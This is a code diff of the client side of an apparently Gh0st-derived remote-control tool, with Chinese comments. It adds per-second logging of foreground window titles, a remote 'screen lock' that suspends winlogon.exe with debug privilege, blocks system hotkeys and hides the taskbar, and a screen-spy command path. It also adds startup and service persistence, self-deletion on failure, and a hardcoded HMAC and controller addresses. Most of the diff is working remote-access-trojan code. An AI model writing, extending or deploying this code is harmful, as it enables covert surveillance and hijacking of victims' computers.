for (char c : title) {
|
||||
if (c == '\r' || c == '\n') c = ' ';
|
||||
t += c;
|
||||
}
|
||||
return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
|
||||
}
|
||||
|
||||
std::string ActivityHistory::FormatDuration(int sec)
|
||||
{
|
||||
if (sec < 0) sec = 0;
|
||||
if (sec < 60)
|
||||
return std::to_string(sec) + "s";
|
||||
if (sec < 3600) {
|
||||
int m = sec / 60, s = sec % 60;
|
||||
return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
|
||||
: std::to_string(m) + "m";
|
||||
}
|
||||
int h = sec / 3600, m = (sec % 3600) / 60;
|
||||
return std::to_string(h) + "h" + std::to_string(m) + "m";
|
||||
}
|
||||
|
||||
std::string ActivityHistory::NowStr()
|
||||
{
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char buf[32];
|
||||
sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||||
return buf;
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
#pragma once
|
||||
#include <string>
|
||||
#include <deque>
|
||||
#include <mutex>
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
|
||||
// 历史活动记录:
|
||||
// 每条格式:[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
|
||||
// 倒序存储(最新在前)。后台线程每 1 秒采样一次前台窗口。
|
||||
#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录
|
||||
#define ACTIVITY_IDLE_BREAK_SEC 300 // 空闲打断阈值(秒):空闲超过此值才结账当前窗口
|
||||
// 注意:与心跳“活动窗口”列的 6s 判定不同,这里要远大于 MIN_DWELL,
|
||||
// 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
|
||||
#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数
|
||||
|
||||
class ActivityHistory
|
||||
{
|
||||
public:
|
||||
static ActivityHistory& Instance();
|
||||
|
||||
// 启动常驻采样线程(幂等,重复调用无副作用)
|
||||
void Start();
|
||||
// 停止采样线程
|
||||
void Stop();
|
||||
|
||||
// 返回全部历史记录(最新在前,多行文本,每行一条)
|
||||
std::string Dump() const;
|
||||
|
||||
private:
|
||||
ActivityHistory() = default;
|
||||
~ActivityHistory() { Stop(); }
|
||||
ActivityHistory(const ActivityHistory&) = delete;
|
||||
ActivityHistory& operator=(const ActivityHistory&) = delete;
|
||||
|
||||
void Loop();
|
||||
|
||||
// 拼一条记录字符串
|
||||
static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
|
||||
// 时长格式化:Ns / Nm / NmNs / NhNm
|
||||
static std::string FormatDuration(int sec);
|
||||
// 当前时间戳 "YYYY-MM-DD HH:MM:SS"
|
||||
static std::string NowStr();
|
||||
|
||||
mutable std::mutex m_mutex;
|
||||
std::deque<std::string> m_records; // 已完成记录,最新在前
|
||||
std::string m_curTitle; // 当前进行中的窗口标题
|
||||
std::string m_curStartTime; // 当前窗口的起始时间
|
||||
int m_curDwellSec = 0; // 当前窗口已连续活跃秒数
|
||||
|
||||
std::atomic<bool> m_running{ false };
|
||||
std::atomic<bool> m_started{ false };
|
||||
std::thread m_thread;
|
||||
};
|
||||
@@ -74,6 +74,7 @@ CAudio::~CAudio()
|
||||
WAIT (m_hThreadCallBack, 30);
|
||||
if (m_hThreadCallBack)
|
||||
Mprintf("没有成功关闭waveInCallBack.\n");
|
||||
Mprintf("TerminateThread: waveIn 线程 handle=%p threadId=%lu\n", m_Thread, GetThreadId(m_Thread));
|
||||
TerminateThread(m_Thread, -999);
|
||||
m_Thread = NULL;
|
||||
}
|
||||
|
||||
@@ -46,13 +46,15 @@ CCaptureVideo::~CCaptureVideo()
|
||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
{
|
||||
Mprintf("CCaptureVideo call Open\n");
|
||||
HRESULT hResult = S_OK;
|
||||
HRESULT hResult = S_FALSE;
|
||||
do {
|
||||
hResult = InitCaptureGraphBuilder();
|
||||
if (FAILED(hResult))
|
||||
break;
|
||||
if(!BindVideoFilter(iDeviceID, &m_pBF))
|
||||
if (!BindVideoFilter(iDeviceID, &m_pBF)) {
|
||||
hResult = S_FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
|
||||
|
||||
|
||||
@@ -0,0 +1,339 @@
|
||||
// ChatManager.cpp: implementation of the CChatManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ChatManager.h"
|
||||
#include "Common.h"
|
||||
#include "resource.h"
|
||||
#include <TlHelp32.h>
|
||||
|
||||
#if ENABLE_MESSAGE
|
||||
|
||||
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
|
||||
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
|
||||
|
||||
#define SE_DEBUG_PRIVILEGE 20
|
||||
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
|
||||
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
|
||||
|
||||
struct PIDWNDINFO {
|
||||
DWORD dwProcessId;
|
||||
HWND hWnd;
|
||||
};
|
||||
|
||||
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
|
||||
static HANDLE g_hProcess = NULL;
|
||||
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
|
||||
static HHOOK g_hKeyBoard = NULL;
|
||||
static int g_nLocked = 0;
|
||||
|
||||
static DWORD GetWinlogonPid()
|
||||
{
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) return 0;
|
||||
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
|
||||
BOOL rtn = Process32First(snap, &pEntry);
|
||||
while (rtn) {
|
||||
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
|
||||
CloseHandle(snap);
|
||||
return pEntry.th32ProcessID;
|
||||
}
|
||||
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
|
||||
rtn = Process32Next(snap, &pEntry);
|
||||
}
|
||||
CloseHandle(snap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
|
||||
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
if (code == HC_ACTION) {
|
||||
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
|
||||
switch (wParam) {
|
||||
case WM_KEYDOWN:
|
||||
case WM_SYSKEYDOWN:
|
||||
case WM_KEYUP:
|
||||
case WM_SYSKEYUP:
|
||||
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|
||||
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|
||||
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|
||||
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|
||||
|| (p->vkCode == VK_LWIN)
|
||||
|| (p->vkCode == VK_RWIN)) {
|
||||
return 1;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
|
||||
}
|
||||
|
||||
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
|
||||
{
|
||||
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
|
||||
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
|
||||
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
|
||||
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
|
||||
ShowWindow(hWnd, SW_MINIMIZE);
|
||||
return TRUE;
|
||||
}
|
||||
DWORD dwProcessId;
|
||||
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||||
pInfo->hWnd = hWnd;
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
|
||||
static void ChatSetHook()
|
||||
{
|
||||
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
|
||||
HMODULE hMod = LoadLibrary("ntdll");
|
||||
if (hMod) {
|
||||
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
|
||||
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
|
||||
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
|
||||
DWORD pid = GetWinlogonPid();
|
||||
BOOLEAN dummy = 0;
|
||||
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
|
||||
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
||||
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
static void ChatUnSetHook()
|
||||
{
|
||||
if (g_hKeyBoard) {
|
||||
UnhookWindowsHookEx(g_hKeyBoard);
|
||||
g_hKeyBoard = NULL;
|
||||
}
|
||||
if (g_lpfnNtResumeProcess && g_hProcess) {
|
||||
g_lpfnNtResumeProcess(g_hProcess);
|
||||
}
|
||||
if (g_hProcess) {
|
||||
CloseHandle(g_hProcess);
|
||||
g_hProcess = NULL;
|
||||
}
|
||||
g_lpfnNtResumeProcess = NULL;
|
||||
}
|
||||
|
||||
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
|
||||
static void UnlockScreen()
|
||||
{
|
||||
ChatUnSetHook();
|
||||
ClipCursor(NULL);
|
||||
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
|
||||
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
|
||||
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
|
||||
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
|
||||
g_nLocked = 0;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
||||
{
|
||||
m_hInstance = HINSTANCE(user);
|
||||
m_hWnd = NULL;
|
||||
m_bRun = TRUE;
|
||||
g_nLocked = 0;
|
||||
|
||||
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
|
||||
BYTE bToken = TOKEN_CHAT_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
WaitForDialogOpen();
|
||||
|
||||
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
|
||||
Mprintf("Chat 构造\n");
|
||||
}
|
||||
|
||||
CChatManager::~CChatManager()
|
||||
{
|
||||
m_bRun = FALSE;
|
||||
while (m_hThread)
|
||||
Sleep(100);
|
||||
|
||||
if (g_nLocked == 1) {
|
||||
UnlockScreen();
|
||||
}
|
||||
if (m_hWnd) {
|
||||
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
||||
}
|
||||
Mprintf("Chat 析构\n");
|
||||
}
|
||||
|
||||
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
|
||||
{
|
||||
CChatManager* pThis = (CChatManager*)lParam;
|
||||
HANDLE& hThread(pThis->m_hThread);
|
||||
|
||||
pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
|
||||
CChatManager::ChatDialogProc, (LPARAM)pThis);
|
||||
if (pThis->m_hWnd) {
|
||||
SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
|
||||
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
|
||||
// 移除最小化/最大化按钮
|
||||
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
|
||||
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
|
||||
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
|
||||
|
||||
MSG msg;
|
||||
while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
|
||||
if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessage(&msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(hThread);
|
||||
hThread = NULL;
|
||||
return 0;
|
||||
}
|
||||
|
||||
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
|
||||
switch (uMsg) {
|
||||
case WM_INITDIALOG:
|
||||
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
|
||||
pThis = (CChatManager*)lParam;
|
||||
SetWindowText(hDlg, "远程交谈");
|
||||
SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
|
||||
SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
|
||||
{
|
||||
HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
|
||||
if (hIcon) {
|
||||
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
|
||||
SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
|
||||
case WM_COMMAND:
|
||||
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
|
||||
char str[4096] = { 0 };
|
||||
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
|
||||
if (str[0] == 0) {
|
||||
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
|
||||
return TRUE; // 消息为空不发送
|
||||
}
|
||||
pThis->Send((LPBYTE)str, lstrlenA(str) + 1);
|
||||
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char Text[5120] = { 0 };
|
||||
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "自己:",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
|
||||
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
|
||||
int nLen = GetWindowTextLength(hEditChatLog);
|
||||
if (nLen >= 20000) {
|
||||
SetWindowText(hEditChatLog, "");
|
||||
nLen = GetWindowTextLength(hEditChatLog);
|
||||
}
|
||||
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
|
||||
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
|
||||
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
|
||||
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
|
||||
return TRUE;
|
||||
}
|
||||
if (LOWORD(wParam) == IDC_BUTTON_END) {
|
||||
// 被控端关闭聊天窗口:仅隐藏对话框,会话保持。关闭交谈始终由服务端发起,
|
||||
// 服务端继续发消息时 OnReceive 会用 SW_RESTORE 重新弹出本对话框。
|
||||
ShowWindow(hDlg, SW_HIDE);
|
||||
return TRUE;
|
||||
}
|
||||
break;
|
||||
|
||||
case WM_CLOSE:
|
||||
// X 关闭按钮:仅隐藏对话框(与「结束交谈」一致),关闭交谈始终由服务端发起
|
||||
ShowWindow(hDlg, SW_HIDE);
|
||||
return TRUE;
|
||||
|
||||
case WM_USER + 1:
|
||||
pThis->m_hWnd = NULL;
|
||||
DestroyWindow(hDlg);
|
||||
return TRUE;
|
||||
|
||||
case WM_USER + 2:
|
||||
ChatSetHook();
|
||||
return TRUE;
|
||||
|
||||
case WM_DESTROY:
|
||||
PostQuitMessage(0);
|
||||
return TRUE;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (szBuffer[0] == TOKEN_HEARTBEAT) return;
|
||||
|
||||
if (ulLength == 1) {
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_NEXT_CHAT:
|
||||
NotifyDialogIsOpen();
|
||||
return;
|
||||
case COMMAND_CHAT_CLOSE:
|
||||
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
||||
return;
|
||||
case COMMAND_CHAT_SCREEN_LOCK:
|
||||
NotifyDialogIsOpen();
|
||||
if (m_hWnd && g_nLocked == 0) {
|
||||
ShowWindow(m_hWnd, SW_RESTORE);
|
||||
RECT rct = { 0 };
|
||||
GetWindowRect(m_hWnd, &rct);
|
||||
ClipCursor(&rct);
|
||||
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
|
||||
PIDWNDINFO pwi = { 0 };
|
||||
pwi.dwProcessId = 0;
|
||||
pwi.hWnd = m_hWnd;
|
||||
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
|
||||
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
|
||||
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
|
||||
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
|
||||
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
|
||||
g_nLocked = 1;
|
||||
}
|
||||
return;
|
||||
case COMMAND_CHAT_SCREEN_UNLOCK:
|
||||
if (g_nLocked == 1) {
|
||||
UnlockScreen();
|
||||
}
|
||||
return;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 收到服务端发来的聊天文本
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char Text[8192] = { 0 };
|
||||
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "对方:",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
|
||||
if (m_hWnd) {
|
||||
HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
|
||||
int nLen = GetWindowTextLength(hEditChatLog);
|
||||
if (nLen >= 20000) {
|
||||
SetWindowText(hEditChatLog, "");
|
||||
nLen = GetWindowTextLength(hEditChatLog);
|
||||
}
|
||||
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
|
||||
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
|
||||
ShowWindow(m_hWnd, SW_RESTORE);
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,30 @@
|
||||
// ChatManager.h: interface for the CChatManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
#if ENABLE_MESSAGE==0
|
||||
#define CChatManager CManager
|
||||
#else
|
||||
|
||||
class CChatManager : public CManager
|
||||
{
|
||||
public:
|
||||
HINSTANCE m_hInstance;
|
||||
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CChatManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
private:
|
||||
BOOL m_bRun;
|
||||
HANDLE m_hThread;
|
||||
HWND m_hWnd;
|
||||
|
||||
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
|
||||
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
|
||||
};
|
||||
|
||||
#endif
|
||||
+66
-5
@@ -3,6 +3,7 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ClientDll.h"
|
||||
#include "ActivityHistory.h"
|
||||
#include <common/iniFile.h>
|
||||
#include <common/LANChecker.h>
|
||||
#include <common/VerifyV2.h>
|
||||
@@ -65,16 +66,62 @@ BOOL IsClientAppRunning(void* thisApp)
|
||||
return S_CLIENT_NORMAL == This->g_bExit;
|
||||
}
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
|
||||
{
|
||||
auto v = StringToVector(remoteAddr, ':', 2);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
return nullptr;
|
||||
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
|
||||
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
|
||||
if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
|
||||
a->g_Connection->iHeaderEnc = headerEnc;
|
||||
return a;
|
||||
}
|
||||
|
||||
#if _CONSOLE
|
||||
#define DLL_API
|
||||
#else
|
||||
#define DLL_API __declspec(dllexport)
|
||||
#endif
|
||||
|
||||
extern "C" DLL_API int RunCommand(LPBYTE szBuffer, int ulLength) {
|
||||
if (!ENABLE_SCREEN || ulLength == 0) {
|
||||
return 1;
|
||||
}
|
||||
if (szBuffer[0] != COMMAND_SCREEN_SPY && szBuffer[0] != TOKEN_PRIVATESCREEN) {
|
||||
return 2;
|
||||
}
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_SCREEN_SPY: {
|
||||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
|
||||
szBuffer = bToken; ulLength = 4;
|
||||
CONNECT_ADDRESS* m_conn = g_MyApp.g_Connection;
|
||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength - 1) };
|
||||
if (ulLength > 1) {
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
ThreadInfo m_hThread;
|
||||
auto* sub = new IOCPClient(S_CLIENT_NORMAL, true, MaskTypeNone, m_conn, m_conn->GetRandomServerIP());
|
||||
// sub->EnableSubConnAuth();
|
||||
m_hThread.conn = m_conn;
|
||||
m_hThread.p = sub;
|
||||
m_hThread.user = user;
|
||||
m_hThread.h = __CreateThread(NULL, 0, LoopScreenManager, &m_hThread, 0, NULL);
|
||||
while (m_hThread.p) Sleep(1000);
|
||||
return 0;
|
||||
}
|
||||
case TOKEN_PRIVATESCREEN: {
|
||||
extern DWORD private_desktop(CONNECT_ADDRESS * conn, const State & exit, const std::string & msg,
|
||||
const std::string & signature, const std::string & hash, const std::string & hmac, const std::vector<BYTE>&bmpData);
|
||||
std::string hash(skCrypt(MASTER_HASH)), hmac = "1fafa2a373ae5bb0";
|
||||
std::thread t(private_desktop, g_MyApp.g_Connection, S_CLIENT_NORMAL, "", "", hash, hmac, std::vector<BYTE>{});
|
||||
t.join();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
DWORD WINAPI StartClientApp(LPVOID param)
|
||||
{
|
||||
ClientApp::AddCount(1);
|
||||
@@ -219,16 +266,24 @@ int main(int argc, const char *argv[])
|
||||
licenseInit();
|
||||
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||||
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0);
|
||||
std::string cmdStr = (runCmd && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "";
|
||||
int nCmd = cmdStr.empty() ? 0 : std::atoi(cmdStr.c_str());
|
||||
if (nCmd) {
|
||||
BYTE buf[] = { nCmd };
|
||||
return RunCommand(buf, 1);
|
||||
}
|
||||
InitWindowsService(NewService(
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
||||
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
|
||||
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || IsSystemInSession0();
|
||||
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || (IsSystemInSession0() && g_SETTINGS.iStartup != Startup_GhostSystem);
|
||||
bool lockFile = g_SETTINGS.iStartup != Startup_GhostMsc && g_SETTINGS.iStartup != Startup_GhostSystem && !IsSystemInSession0();
|
||||
// 注册启动项
|
||||
int r = RegisterStartup(
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
||||
!isService, g_SETTINGS.runasAdmin, Logf);
|
||||
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf);
|
||||
if (r <= 0) {
|
||||
BOOL s = self_del();
|
||||
if (!IsDebug) {
|
||||
@@ -536,6 +591,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
std::string ip = settings.ServerIP();
|
||||
int port = settings.ServerPort();
|
||||
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
|
||||
ActivityHistory::Instance().Start();
|
||||
if (!app.m_bShared) {
|
||||
auto now = time(0);
|
||||
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
||||
@@ -543,6 +599,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
auto saved_ip = cfg.GetStr("settings", "master");
|
||||
auto saved_port = cfg.GetInt("settings", "port");
|
||||
settings.SetServer(saved_ip.c_str(), saved_port);
|
||||
auto saved_proto = cfg.GetStr("settings", "master_proto");
|
||||
if (saved_proto == "0" || saved_proto == "1")
|
||||
settings.iHeaderEnc = atoi(saved_proto.c_str());
|
||||
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
|
||||
int(valid_to-now));
|
||||
}
|
||||
@@ -551,7 +610,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
||||
for (int i=1; i<list.size(); ++i) {
|
||||
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
||||
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
|
||||
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, FALSE);
|
||||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
}
|
||||
// The main ClientApp.
|
||||
@@ -563,7 +622,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
auto a = cfg.GetStr("settings", "share_list");
|
||||
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
||||
for (int i = 0; i < shareList.size(); ++i) {
|
||||
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE);
|
||||
auto v = StringToVector(shareList[i], ':', 3);
|
||||
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
|
||||
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
|
||||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
|
||||
}
|
||||
|
||||
+1
-1
@@ -130,7 +130,7 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1);
|
||||
|
||||
// 启动核心线程,参数为:ClientApp
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
@@ -178,12 +178,22 @@
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="ActivityHistory.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="clang_rt_compat.c" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="ClientLogManager.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
